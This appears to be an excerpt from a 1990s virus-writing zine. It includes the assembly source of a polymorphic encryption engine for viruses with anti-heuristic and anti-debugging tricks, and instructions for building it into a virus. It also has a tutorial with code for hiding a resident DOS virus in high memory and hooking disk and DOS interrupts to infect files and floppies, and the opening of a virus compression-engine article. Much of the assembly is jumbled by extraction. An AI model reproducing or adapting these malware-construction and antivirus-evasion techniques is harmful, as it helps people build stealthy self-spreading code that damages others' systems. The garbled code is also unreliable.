virus isn't decrypted yet ( it decrypts viruses and searches for things like mov ax,3d02h/int21h ) };) About the spectral routines, they're made for one of the analysis which antivirus software use to detect poly viruses; they watch the instructions in the decryptor, and if all of them seem to be generated by that engine, they'll detect the virus. Let's imagine, for example, the "Shitty Mutator" uses three one byte instructions to make junk. The antivirus software would have these instructions and watch the -e.g.- 256 byte decryptor; if all the instructions placed in there are the decryptor itself ones or the three different one byte ones, the antivirus tells us a SM based virus is there. The method used to avoid it is fairly simple: a check, after a conditional jump that is always executed, and then two junk random bytes :)

2.- How to use the engine in your own virus ( hey, you, at least give me some credits in it ! :)

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

About the values you have to set; first, there's a defined value at the end of the engine called "encryptvalue" which is the number which will be used to encrypt the virus with xor encryption. First, you'll have to encrypt the second copy of your virus, and put your word length encryption key into that value called "encryptvalue" ( which is used for the xor ). "Offset_second" is the virus_length plus 200h, the decryptor length; this way, the values changed are changed in the decryptor and not in the non-copied virus ( wonder why ? ) :-) "Virus_size" is your virus lenght in bytes. Of course, you can change the decryptor length, but be careful with that. That value is set on "restantes_poly", and is 200h normally; if you change this, divisions made by the engine to check if it has to put a decryptor instruction on the generator code will fail. So, if you're going to change the length, check also the divisions at the zone called "centro_poly" ( poly_center in spanish ). Another things to set ?... erhm... not. ES:DI or DS:SI set stuff for you; it's generated at the end of the first virus copy, just at "virus_size+0h", uhm... ah, and it supposes you to have another copy of the virus, of course. Come on, it's so easy to get it working when somebody else has written it four you first ! ;PPP Ah, and finally... you'll have to copy the decryptor instructions block at the first bytes of your TSR, at the first copy; the instructions in those first bytes are useful, cause they're not copied even not executed, so they can be overwritten by the decryptor ones.

*************************************************************************** THE NECROMANTIC MUTATION ENGINE ( NME ) *************************************************************************** The ants are in the sugar, the muscles atrophied ; This first part sets the decryptor variables ( loop pointer, remaining ;instructions and current instruction ) ; ; The loop pointer tells where to loop to make the xor "virus_size" ;times, remaining instructions is 200h-done_instructions, and current ;instruction is about which of the six decryptor instructions blocks has ;to be written next.

go_here: mov mov mov

word ptr [bytes_referencia],0h word ptr [restantes_poly],200h ; n.instr decryptor byte ptr [numero_instruccion],6h ; n.util instrs

; This first part of the poly engine fills the blanks of the six blocks ;( 5 bytes each ) in which the decryptor instructions are divided on with ;random instructions. As you see, three blanks can be filled with a three ;bytes instructions, with a two bytes one and a one byte one or with three ;one byte instructions

two_times:

push pop

cs cs ds es

mov mov call

di,3h cx,3 aleatorio

two_of_one:

next_inst_gen:

@di0dh: @loopt:

and jz call jmp call inc call cmp jnz mov jmp mov loop

mov mov two_times_otavez: call and jz and jz call jmp tresd1: call inc call inc call jmp unod1y1d2: and jz call inc call jmp unod2y1d1: call inc call next_one_otave: mov call lea xor mov rep

ah,1 two_of_one inst_2 next_inst_gen inst_1 di inst_1 di,0eh @di0dh di,017h @loopt di,0dh two_times

di,011h cx,2 aleatorio ah,1 unod1y1d2 al,1 tresd1 inst_3 next_one_otave inst_1 di inst_1 di inst_1 next_one_otave al,1 unod2y1d1 inst_1 di inst_2 next_one_otave inst_2 di inst_1 di,01dh inst_1

; The last

di,instrucciones si,si cx,instrsize movsb

; This part exchanges 50% times SI and DI registers, which are used in ;the decryptor instructions call and jz mov mov mov mov

aleatorio ah,1 dontchangeem byte ptr [instrucciones+7h],0beh byte ptr [instrucciones+10h],0f5h word ptr [instrucciones+15h],03c31h word ptr [instrucciones+19h],04646h

dontchangeem: ; Depending on a random value, CX is obtained by the normal way ( mov cx, ) ; or with a mov dx,register, mov cx,dx call and jz cbw and jz mov mov jmp

aleatorio ah,1 cx_acabado

and jz mov mov jmp

al,1 cx_con_dx byte ptr [instrucciones+0ah],0b8h word ptr [instrucciones+0dh],0c189h cx_acabado

mov mov

byte ptr [instrucciones+0ah],0bah word ptr [instrucciones+0dh],0d189h

ah,1 siguiente_abajo byte ptr [instrucciones+0ah],0bbh word ptr [instrucciones+0dh],0d989h cx_acabado

siguiente_abajo:

cx_con_dx:

cx_acabado: ; To finish preparing the decrypting routine, we copy the instructions ;that modify SI, DI and CX, and put them randomly; the first time, I ;tried making this pushing and popping instructions... stack overflow ! :-o push mov mov lea lea push rep pop ver_si_esta_hecho: mov mov or jz call and jz and jz and jz and lea jmp

dx byte ptr [variable_inst],00000111b cx,015d ; Copy the 15 bytes of the si,instrucciones+5 ;instructions to the uuencode di,buffer ;buffer ( unused ) di movsb si

al,byte ptr [variable_inst] dl,al ; Then, restore them in a al,al ;random order acabado_pop_inst aleatorio ah,1 popfirst al,1 popsecond dl,100b ; First instruction ( five ver_si_esta_hecho ;bytes ) byte ptr [variable_inst],11111011b di,instrucciones+0fh popfivebytes

popfirst: and jz and lea jmp

dl,1b ; Second one ver_si_esta_hecho byte ptr[variable_inst],011111110b di,instrucciones+0ah popfivebytes

and

dl,10b

popsecond: ; Third

jz and lea

ver_si_esta_hecho byte ptr[variable_inst],011111101b di,instrucciones+5h

popfivebytes: mov rep jmp acabado_pop_inst: pop

cx,5d movsb ver_si_esta_hecho

; Replace

dx

; The modification of the instructions of the decryptor finishes here with ;all changes made: the originals are kept at the beggining of the virus in ;memory. The posible "final loop" exchange is made when writing the ;decryptor ; Here begins the main zone of the code generator; where it's decided ;what generator to use and random instructions are copied at the ;decryptor.

mov

di,virus_size+1

centro_poly: mov mov and jnz jmp sigamos_decriptor: cmp jae cmp jz @cont_decrr: dec jz dec jz dec jz

ax,word ptr [restantes_poly] ; Remaining cx,ax ;instructions number cx,cx sigamos_decriptor acabamos_decryptor ; Checks if finished cx,@getmcb-ant_debug @cont_decrr byte ptr [numero_instruccion],1 @@call_decryptgen ; If we have 1, 2 or 3 bytes remaining cx @@call_inst_1 cx @@call_inst_2 cx @@call_inst_3

mov div inc cmp ja

cx,55h ; Do we need to put one of the decryptor cl ;instructions ? This is the div to change al ;if you change the decryptor length byte ptr[numero_instruccion],al @@call_decryptgen

cmp jnz mov sub cmp jae

byte ptr[numero_instruccion],1 @continuemos ; To avoid the loop from going ax,di ;out of range ax,word ptr [loop_site] ax,70h @@call_decryptgen

call and jz and jz call dec inc jmp

aleatorio ; randomly, place 3 bytes instr, ah,1 ;2, routine... @@trestipos al,1 @@call_inst_4 inst_1 word ptr [restantes_poly] di centro_poly

@continuemos:

@@call_inst_1:

@@call_inst_4:

call add sub jmp

cbw and jz and jz @@call_inst_3: call add sub jmp @@inst_2odec: and jnz @@call_decryptgen: call jmp @@call_inst_2: call inc sub @fix1: jmp @@call_sub: cmp jb call add sub jmp

inst_4 di,4 word ptr [restantes_poly],4 centro_poly

@@trestipos:

ah,1 @@inst_2odec al,11b @@call_sub inst_3 di,3 word ptr[restantes_poly],3 centro_poly al,111b ; Low probability @@call_inst_2 gen_instruction centro_poly inst_2 di word ptr[restantes_poly],2 centro_poly word ptr[restantes_poly],@getmcb-ant_debug @fix1 inst_5 di,si word ptr[restantes_poly],si ; Long non fixed size centro_poly ;routine

acabamos_decryptor: ret instrsize

equ

instr_end-instr_start

instr_start

label byte

; Decryptor instructions list; divided into five-bytes blocks. instrucciones: mov db

bp,0200h 90h,90h

mov

si,cs:word ptr [encryptvalue+bp]

mov db

cx,virus_size/2 90h,90h

mov db

di,bp 90h,90h,90h

xor db

word ptr cs:[di],si 90h,90h

inc inc loop db

di di loop_dec 90h

; variable ( junk gen )

loop_dec:

instr_end

label byte

;******************************************* ; Decryptor values and data ;-------------------Restantes_poly: Numero_instruccion: num_aleat: variable_inst: loop_site: bytes_referencia:

dw db dw db dw dw

200h 6 1250h 7h 0h 0h

; ; ; ; ; ;

Remaining instructions counter Instruction number Aleatory number counter 0111b Looping allocation Offset Reference for instructions

; This returns a random number in AX after making some operations. aleatorio:

aleat2:

mov call ror add push mov int pop add pop rol neg sub ror not mov ret

ax,word ptr[num_aleat] aleat2 ax,5 ; The seed number is stablished in each ax,1531h ;infection by the date, and modified cx dx ax ;by the minutes ( but in AL, the less ah,2ch ;used, to contribute to the slow poly ) 21h ;and hour. ax ah,ch dx cx ax,1 ax ax,2311h ax,3 ax word ptr[num_aleat],ax

; Instructions generators: the required instructions are generated and ;copied in ES:DI, which points to the decryptor in memory ; Main generator: copies a decryptor instruction in ES:DI, with special ;care for the final loop gen_instruction: mov and jz dec jz dec jz

al,byte ptr [numero_instruccion] al,al @vasmosnos al @preparar_loop al @guardar_paraloop

dec lea add add

byte ptr [numero_instruccion] si,instrucciones si,word ptr [bytes_referencia] word ptr [bytes_referencia],5h

mov rep sub

cx,5 ; copy the instruction movsb word ptr[restantes_poly],5h ; remaining instrs

@gen_ya:

@vasmosnos: ret @guardar_paraloop: mov

word ptr [loop_site],di

jmp

@gen_ya

mov mov mov sub sub mov and jz mov jmp

ax,0fch si,di cx,word ptr [loop_site] si,cx ax,si cx,word ptr[num_aleat] cl,1 @make_a_jnz byte ptr [instrucciones+01ch],al @gen_ya

mov dec mov jmp

word ptr [instrucciones+01bh],7549h ax byte ptr [instrucciones+01dh],al @gen_ya

@preparar_loop:

@make_a_jnz:

; Generator ----> One byte length instruction generator inst_1: call and jnz mov ret @cont_a1: and jz call and jz and jz call and jz mov ret @cont_a2_2_1: mov ret @cont_a2_1_1: mov ret @cont_a2_2: call and jnz mov ret @cont_a2_2_2: and jz mov ret @cont_a2_2_2_2: and mov ret @cont_a2: call and jz and jz call and jz

aleatorio al,3h @cont_a1 byte ptr es:[di],90h ah,1 @cont_a2 aleatorio ah,1h @cont_a2_2 al,1h @cont_a2_1_1 aleatorio al,1h @cont_a2_2_1 byte ptr es:[di],42h

; inc dx

byte ptr es:[di],43h

; inc bx

byte ptr es:[di],40h

; inc ax

aleatorio al,1h @cont_a2_2_2 byte ptr es:[di],48h

; dec ax

ah,1h @cont_a2_2_2_2 byte ptr es:[di],4bh

; dec bx

al,1h byte ptr es:[di],4ah

; dec dx

aleatorio al,3h @cont_a2_11 ah,3h @cont_a2_12 aleatorio al,3h @cont_a2_2_11

@cont_a2_2_11: @cont_a2_2_12: @cont_a2_2_13: @cont_a2_11: @cont_a2_12:

and jz call and jz mov ret mov ret mov ret mov ret mov ret mov ret

ah,3h @cont_a2_2_12 aleatorio al,1 @cont_a2_2_13 byte ptr es:[di],0cch

; int 3h

byte ptr es:[di],9fh

; lahf

byte ptr es:[di],99h

; cwd

byte ptr es:[di],98h

; cbw

byte ptr es:[di],0F9h

; stc

byte ptr es:[di],0F8h

; clc

; Generator ----> Two byte length instructions inst_2: call and jz cbw and jz jmp

aleatorio ah,1h @cont_sub

jmp

@cont_mul

ah,1h sigunvm @cont_xor

sigunvm: @cont_sub: mov inc cbw and jz and jz call and jz and jz mov ret @cont_bsub_bx_cx: mov ret @cont_bsub_bx_dxdisi: cbw and jz and jz mov ret @cont_bsub_bx_di: mov ret @cont_bsub_bx_dx: mov ret @cont_bsub_ax:

byte ptr es:[di],2bh di al,1 @cont_bsub_ax ah,1 @cont_bsub_dx aleatorio ah,1 @cont_bsub_bx_dxdisi al,1 @cont_bsub_bx_cx byte ptr es:[di],0d8h

; sub bx,ax

byte ptr es:[di],0d9h

; sub bx,cx

ah,1 @cont_bsub_bx_dx al,1 @cont_bsub_bx_di byte ptr es:[di],0deh

; sub bx,si

byte ptr es:[di],0dfh

; sub bx,di

byte ptr es:[di],0dah

; sub bx,dx

call and jz and jz mov ret @cont_bsub_ax_cx: mov ret @cont_bsub_ax_dxdisi: cbw and jz and jz mov ret @cont_bsub_ax_di: mov ret @cont_bsub_ax_dx: mov ret @cont_bsub_dx: call and jz and jz mov ret @cont_bsub_dx_bx: mov ret @cont_bsub_dx_sidicx: cbw and jz and jz mov ret @cont_bsub_dx_di: mov ret @cont_bsub_dx_cx: mov ret

aleatorio ah,1 @cont_bsub_ax_dxdisi al,1 @cont_bsub_ax_cx byte ptr es:[di],0c3h

; sub ax,bx

byte ptr es:[di],0c1h

; sub ax,cx

ah,1 @cont_bsub_ax_dx al,1 @cont_bsub_ax_di byte ptr es:[di],0c6h

; sub ax,si

byte ptr es:[di],0c7h

; sub ax,di

byte ptr es:[di],0c2h

; sub ax,dx

aleatorio ah,1 @cont_bsub_dx_sidicx al,1 @cont_bsub_dx_bx byte ptr es:[di],0d0h

; sub dx,ax

byte ptr es:[di],0d3h

; sub dx,bx

ah,1 @cont_bsub_dx_cx al,1 @cont_bsub_dx_di byte ptr es:[di],0d6h

; sub dx,si

byte ptr es:[di],0d7h

; sub dx,di

byte ptr es:[di],0d1h

; sub dx,cx

@cont_xor: mov inc call and jz cbw and jz and jz mov ret

byte ptr es:[di],033h di aleatorio ah,1 @cont_xor_4last ah,1 @cont_xor_34 al,1 @cont_xor_2 byte ptr es:[di],0c0h

; xor ax,ax

@cont_xor_2: mov ret

byte ptr es:[di],0c3h

; xor ax,bx

and jz mov ret

al,1 @cont_xor_4 byte ptr es:[di],0c2h

; xor ax,dx

mov ret

byte ptr es:[di],0dbh

; xor bx,bx

ah,1 @cont_xor_78 al,1 @cont_xor_6 byte ptr es:[di],0d8h

; xor bx,ax

mov ret

byte ptr es:[di],0dah

; xor bx,dx

and jz mov ret

al,1 @cont_xor_8 byte ptr es:[di],0d2h

; xor dx,dx

mov ret

byte ptr es:[di],0d0h

; xor dx,ax

mov inc call

byte ptr es:[di],0f7h di aleatorio

and jz and jz mov ret

ah,1 @cont_divmul_34 al,1 @cont_divmul_2 byte ptr es:[di],0e3h

; mul bx

mov ret

byte ptr es:[di],0e1h

; mul cx

and jz mov ret

al,1 @cont_divmul_4 byte ptr es:[di],0e6h

; mul si

mov ret

byte ptr es:[di],0e7h

; mul di

@cont_xor_34:

@cont_xor_4:

@cont_xor_4last: cbw and jz and jz mov ret @cont_xor_6:

@cont_xor_78:

@cont_xor_8:

@cont_mul:

@cont_divmul_2:

@cont_divmul_34:

@cont_divmul_4:

; Generator ----> Three byte long instructions inst_3: call mov inc jz dec and

aleatorio si,ax si inst_3 si ah,1

; We don't want a 0ffffh

jz and jz mov mov ret @mov_dx_inm: mov mov ret @add_or_sub_ax: and jz mov mov ret @mov_mem_ax: mov mov ret

@add_or_sub_ax al,1 @mov_dx_inm byte ptr es:[di],0bbh word ptr es:[di+1],si byte ptr es:[di],0bah word ptr es:[di+1],si al,1 @mov_mem_ax byte ptr es:[di],05h word ptr es:[di+1],si byte ptr es:[di],0a1h word ptr es:[di+1],si

; mov bx,reg

; mov dx,reg

; add ax,reg

; mov ax,mem

; Generator ----> Four bytes instructions inst_4:

@q_subbxfuck:

@q_movdxobx:

@q_movdx_mem:

@q_seg_parte:

@nosvamos_4: @q_seg_sub:

@nosvamos_41:

call mov inc jz dec and jz cbw and jz and jz mov mov ret mov mov ret and jz mov mov ret mov mov ret cbw and jz mov mov and jz inc ret mov mov and jz inc ret

aleatorio si,ax si inst_4 si ah,1 @q_seg_parte ah,1 @q_movdxobx al,1 @q_subbxfuck word ptr es:[di],019b4h word ptr es:[di+2],021cdh word ptr es:[di],0eb81h word ptr es:[di+2],si al,1 @q_movdx_mem word ptr es:[di],01e8bh word ptr es:[di+2],si word ptr es:[di],0168bh word ptr es:[di+2],si

ah,1 @q_seg_sub word ptr es:[di],0c281h word ptr es:[di+2],si al,1 @nosvamos_4 byte ptr es:[di+1] word ptr es:[di],0ea81h word ptr es:[di+2],si al,1 @nosvamos_41 word ptr es:[di+1]

; Generator ----> More than 4 bytes routines

; Get drive function

inst_5:

call and jz and jz mov mov call mov mov ret

aleatorio ; Anti-spectral routine, ah,1 ;generates a random value @c_seg_parte ;after a cmp ax,ax/jz xxx al,1 ;that will never be executed: @c_seg_prim ;"spectral" is a way of word ptr es:[di],0c033h ;finding polymorphic viruses word ptr es:[di+2],0274h;that checks for instructions aleatorio ;that aren't in the poly word ptr es:[di+4],ax ;engine; if the instructions si,06h ;are all of a fixed range, ;the spectral identifies the ;poly engine.

mov mov mov mov ret

word ptr es:[di],0f7fah word ptr es:[di+2],0f7dch word ptr es:[di+4],0fbdch si,06h

and jz mov mov mov call mov mov ret

al,1 @c_seg_seg ; Anti-spectral word ptr es:[di],0ffb8h ; mov ax,0ffffh word ptr es:[di+2],040ffh ; inc ax word ptr es:[di+4],0274h ; jz seguimos aleatorio ; ( 2 crap bytes ) word ptr es:[di+6],ax si,08h

lea mov push rep pop sub ret

si,ant_debug cx,@getmcb-ant_debug cx movsb si di,si

@c_seg_prim:

@c_seg_parte:

; Antidebugging routine ;( cli, neg sp, neg sp, ; sti )

@c_seg_seg: ; Antidebugging, the routine ;placed near the beggining ;of Zohra

random_number: ret encryptvalue: wintermute:

dw db

0ffh 'The Necromantic Mutation Engine by Wintermute/29A',0

HMA Residency ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> "Q" the Misanthrope This virus topic has not been discussed: HMA (not UMB) residency.

What is HMA? ÄÄÄÄÄÄÄÄÄÄÄÄ It stands for High Memory Address. HMA memory is a 65520 byte area from FFFF:0010h to FFFF:FFFFh. "Q" the Misanthrope has been using the HMA to store about 15 of his viruses. This is his tutorial on HMA useage.

Why HMA? ÄÄÄÄÄÄÄÄ It allows you to put your virus in a location not seen with any of the conventional memory tools. MEM, CHKDSK and others don't indicate that more memory is being used in the HMA when a virus goes resident there. Many anti virus programs did not scan the HMA since no one was crazy enough to put their virus up there. They now have changed because of the many viruses "Q" created that use the HMA.

HMA History ÄÄÄÄÄÄÄÄÄÄÄ On an 80286+ there is an address line called a20 that was to be used to map the second megabyte of memory. There are additional address lines (a21, a22, etc) but with this a20 line there became another 64k of memory available to real mode programs. Where did this new memory come from? On an 8086, the addressing of the processor is in SEGMENT:OFFSET format. Each OFFSET spans a 64k SEGMENT. The actual physical address is computed as SEGMENT*10h +OFFSET. The last byte of memory on an 8086 was F000:FFFFh, or F0000h+FFFFh =FFFFFh. Notice that FFFF:000F is the same physical address (FFFF0h+000Fh= FFFFFh). What happens if you were to address FFFF:0010? (FFFF0h+0010h= 100000h). On an 8086 this would map back to 0000:0000h but on an 80286 you have just touched the first byte of the second megabyte off memory. The only problem is that the 80286 works just the same as the 8086 and again you are mapped back to 0000:0000h. Some circuitry needed to be added, a20 gating was created. If doing the physical computation caused a carry into the next megabyte then turn the a20 line on. This feature had to be able to switched on and off at will. The 80286 also introduced the 8042 keyboard controller. There was an extra bit on an output port that could control this gating. The creation of the HIMEM.SYS would in part make controlling this a bit easier.

Gating a20 ÄÄÄÄÄÄÄÄÄÄ To enable the a20 gating: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 mov ax,4300h ;himem.sys check int 2fh cmp al,80h jne error ;no himem.sys loaded mov ax,4310h int 2fh ;get far call address es:bx mov ah,03h ;Global enable A20 push cs ;prime the stack for retf call call_es_bx ;put ip of next line on stack for retf next_line: or ax,ax ;check if error jz error

[...] call_es_bx: push push retf [...] error: mov mov push pop int [...] errmsg db - - - - - - - - - - - -

es bx

;code to do whatever ;now jmp to es:bx with ah as function ;the stack is primed to return to ;next line

ah,09h ;print command dx,offset errmsg;print error cs ds 21h "A20 Global Enable error!",0dh,0ah,"$" - - - - - - - - - - - - - - - - - - - - - - - - ->8

Note: all of the HIMEM.SYS calls list (INT 2Fh AX=4310h).

are documented in

Ralf Brown's Interrupt

Brute force gating a20 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Another method is the brute force one. What if you want the HMA available at boot time for your boot sector virus? You can directly control the 8042 keyboard controller. Using command D1. Write Output Port: next byte written to port 60h is placed in the 8042 output port.

³7³6³5³4³3³2³1³0³ 8042 Output Port ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ system reset line ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ gate A20 ³ ³ ³ ³ ÀÄÁÄÄÄÄÄÄ undefined ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄ output buffer full ³ ³ ÀÄÄÄÄÄÄÄÄÄÄ input buffer empty ³ ÀÄÄÄÄÄÄÄÄÄÄÄ keyboard clock (output) ÀÄÄÄÄÄÄÄÄÄÄÄÄ keyboard data (output) - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 .286 mov al,0d1h ;send command to 8042 out 64h,al reloop: in al,64h ;check that port 60h is available or al,02h jnz reloop mov al,11100011b ;keep keyboard working and gate a20 out 60h,al push -1 ;set es=ffffh pop es push 00h pop ds ;set ds=0000h mov di,10h ;check if it worked, compare xor si,si ;ffff:0010h to 0000:0000 for 16 bytes mov cx,di ;set cx to 10h cld rep cmpsb ;compare it je failed [...] ;worked, copy virus to ffff:xxxx failed: jmp short failed ;do whatever - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

HMA and DOS 5+ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The easiest method is to use the HMA if DOS 5+ is loaded the commands in the CONFIG.SYS like these:

in the HMA with

DEVICE=C:\DOS\HIMEM.SYS DOS=HIGH This requirement is on 99% of all it, just do this:

machines running this

decade. To invoke

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 mov ax,4a02h ;allocate HMA space from DOS mov di,-1 ;prime di if DOS not high or < ver 5 mov bx,0200h ;number of bytes you want int 2fh ;should return es:di to available mem inc di ;di=ffffh if no memory or DOS<5 etc. jz failed ;if it failed dec di mov si,offset virii mov cx,bx ;get ready to copy virii cld rep movs byte ptr es:[di],cs:[si] [...] failed: jmp short failed - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

Hooking interrupts ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Now that you are in the HMA, what next? hook in your interrupts and you are off infecting. Problem is that it is not that simple. You can't point an interrupt to ffff:xxxx because the a20 gate may be turned off for some reason. If the a20 gate is turned off then your interrupt will point to code in the first 64k of memory. When DOS 5+ interrupts 13h, 21h, 2fh, etc chain into the HMA they first check if the a20 line is gated, if not, they gate it. The interrupt then continues its code in the HMA. You can tunnel your desired interrupt and hook in to the interrupt chain when the code goes to the HMA. An example of hooking interrupt 21h is: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 .286 virus_size equ previous_21-begin begin: [...] mov ax,3501h ;get int 1 address for tunnel int 21h mov dx,offset interrupt_1 mov ah,25h ;set int 1 for tunnel push es int 21h pop ds ;ds:dx will be to set it back push 00h ;es=0000h pop es pushf ;simulate interrupt stack mov dx,bx push cs push es ;return to cs:0000 is cd 20 int 01h ;set trap flag db 26h ;es: override in to int table dw 02effh,21h*04h ;jmp far ptr es:[0084] interrupt_1: pusha ;save varables push sp pop bp ;get pointer push ds push es lds si,dword ptr ss:[bp+10h];get next instruction address cmp word ptr ds:[si+01h],02effh

jne cmp org int je mov cmp jb mov mov mov int inc jz push cld mov mov rep pop movsw movsw lea mov mov toggle_tf: xor go_back: pop pop popa iret resident_21: pushf pusha [...] popa popf db previous_21: label - - - - - - - - - - - -

go_back ;check if jmp far ?s:[????] word ptr ds:[si-02h],001cdh $-02h ;see if called from our int 01 01h toggle_tf si,word ptr ds:[si+03h];get address segment of jmp byte ptr ds:[si+03h],0f0h go_back ;see if in HMA area bx,((virus_size+10h)SHR 4)*10h di,0ffffh ;allocate HMA area for virus ax,4a02h 2fh di ;is HMA full toggle_tf ;if so then just don't bother si ;move the virus to the HMA cx,virus_size si,0100h ;copy virus to HMA movs byte ptr es:[di],cs:[si] si ;now hook the int 21 chain ;int 21 copied at previous_21 di,word ptr ds:[di-04h-virus_size+offset resident_21] word ptr ds:[si-04h],di;point to resident 21 code word ptr ds:[si-02h],es byte ptr ss:[bp+15h],01h;toggle the trap flag es ds

;do the voodoo you do so well

0eah double - - - - - - - - - - - - - - - - - - - - - - - - ->8

This is a bit laborous. What else can be done? if you then the simple use of int 2fh AH=13h can be done.

need to hook int 13h

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 .286 ;at the start es:di is pointing to the start of the virus in HMA. es=ffffh mov ah,13h ;get int 13 chain int 2fh ;returns previous ds:dx to bios push ds ;int 13h push dx lea dx,word ptr ds:[di+offset resident_13] push -1 ;point to new int 13 in HMA pop ds int 2fh ;set new int 13 into chain push -1 pop ds pop word ptr ds:[di+previous_13] pop word ptr ds:[di+previous_13+02h] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 The only problem with this is that Windows access is enabled. An even simpler way of

will spot it if the 32 bit disk

hooking into the interrupt 13h chain can be done if

all you are wanting to do is infect floppies. Interrupt 40h is the moved interrupt 13h handler that only handles floppy accesses. It can be directly hooked into the HMA because all access to it will be through interrupt 13h that made sure the a20 line was gated before it went into the HMA. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 .286 ;at the start es:di is pointing to the start of the virus in HMA. es=ffffh push es ;save es mov ax,3540h ;get old int 40 int 21h pop ds ;get es and save old int 40 mov word ptr ds:[di+previous_40],bx mov word ptr ds:[di+previous_40+02h],es lea dx,word ptr ds:[di+resident_40] mov ah,25h ;set int 40 into hma int 21h - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 Interrupt 2fh is very easy to hook into the HMA. Before DOS 7, you could hook your code in at 0070:0005h. DOS 7 moved it to 0070:0168h. Another way to hook into the interrupt chain and make sure that the a20 line is gated is to have some code in lower memory that calls the interrupt you want to hook in with some bogus function, then jump to the HMA code because the a20 line was gated with the previous interrupt call. An example: - - - - - - - - - - - - - - - - - - - .286 interrupt_21: push ax mov ah,19h pushf db 09ah previous_21 dd 04530126eh pop ax db 0eah hma_virus_code dd ffffec1ch - - - - - - - - - - - - - - - - - - - -

- - - - - - - - - - - - - - - - ->8 ;interrupt 21h points to here ;get current drive (bogus instruction) ;simulated stack for interrupt ;far call instruction ;previous interrupt 21 simulation ;far jmp ;to virus code in HMA - - - - - - - - - - - - - - - - ->8

Using some lower memory as a kernal ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The trick is where to put these instructions in lower memory. The interrupt vector table can be used either the user area at 0040:00f0h or i like to use the root PSP of COMMAND.COM: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 .286 mov ah,51h ;get current PSP int 21h xor ax,ax ;prime ax not equal PSP find_root_psp: cmp ax,bx je found_root mov ds,bx ;point to current psp mov ax,bx ;for compare mov bx,word ptr ds:[16h];get parent psp jmp short find_root_psp found_root: [...] ;ds points to the psp of command.com [...] ;ds:005ch to ds:007fh is useless space - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

What works and what doesn't

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ When your virus code is the HMA there are certain things that will not work like you'd like them to: you can not hook your critical error handler in to the HMA. You can not do interrupt 21h writes or reads with DS:DX pointing in the HMA. To do these you will need to use some lower memory and copy the contents into the lower memory and point to it. You can use the lower memory areas discussed above. What does work: BIOS interrupt 13h reads and writes work just fine. Searching the disk buffers and modifying them to insert your code and then marking the buffer as dirty will cause the processor to write it back. If this has inspired someone else to use the HMA for evil rather then my efforts have been worth it.

"Q" the Misanthrope

than good

Compression engines ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Super/29A and Vecna/29A Words from Super... Nowadays, more and more people need and ask for a compression engine for their viruses. Thinking about the matter, it really seems to be a good (at least useful) idea to include one of those compression engines inside a virus... of course it's not interesting if the engine itself is about 7k long for instance :) But if we're talking about a tiny engine (about 500-600 bytes), it's worth to spend a little amount of time thinking on the new ways it opens for us, such as... - Including compressed images in graphic format for a cool payload - Carrying a VxD dropper compressed inside our code, thus not mattering its size, and then being able to implement many more things in it - Compressing the files we infect, resulting in some times (especially with Windows 3.1 NE files) in a size decrease after infection... now go and tell many AVers to change their description on what a virus is :) - Compressing disk sectors! so free disk space won't be a problem anymore - And so on... everything depends on your imagination :) These all reasons drove me to write STCE (Super Tiny Compression Engine), a program whose name is self-explanatory... i did not use any Huffman-alike rule, as STCE is based just on repeated byte sequences. It's pretty optimized (413 bytes only!!!), so you can include it in any virus you want without experiencing any notorious increase in its size. Now let's explain how it works.

To compress code ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ - Input: AX

-> holds the number of bits to encode not-repeated bytes with (when the repeated sequence is not two-byte, but maybe one-byte long, so we can't compress anything - just store). BX -> holds the maximum number of bits dedicated to encode the relative offset of the repeated sequence. With "maximum" i mean that STCE will not accept relative offsets with a higher number of bits (it wouldn't help in order to compress!). CX -> holds the length of the data we want to compress. DX -> holds the number of bits to encode the value which indicates us how many repeated bytes there are in the code we're compressing. DS:SI -> holds the address of the data we want to compress. ES:DI -> holds the address where we want STCE to put the compressed data. Take special care on having enough space for this, otherwise your virus may hang after having overwritten certain data! BP -> holds the minimum number of bits dedicated to encode the relative offset of a repeated sequence. And with "minimum" i mean that if the number of bits to encode the offset is below the value held in BP, then the number of bits which will be used will be this last one (BP), instead of the one in BX, which is larger.

I suggest the following values: AX=0000h BX=0009h

CX=****h DX=0204h

DS:SI=****h ES:DI=****h

BP=0006h

At least they're ok in order to compress sectors.

- Output: CX

-> holds the length of compressed code.

To decompress code ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ - Input: CX

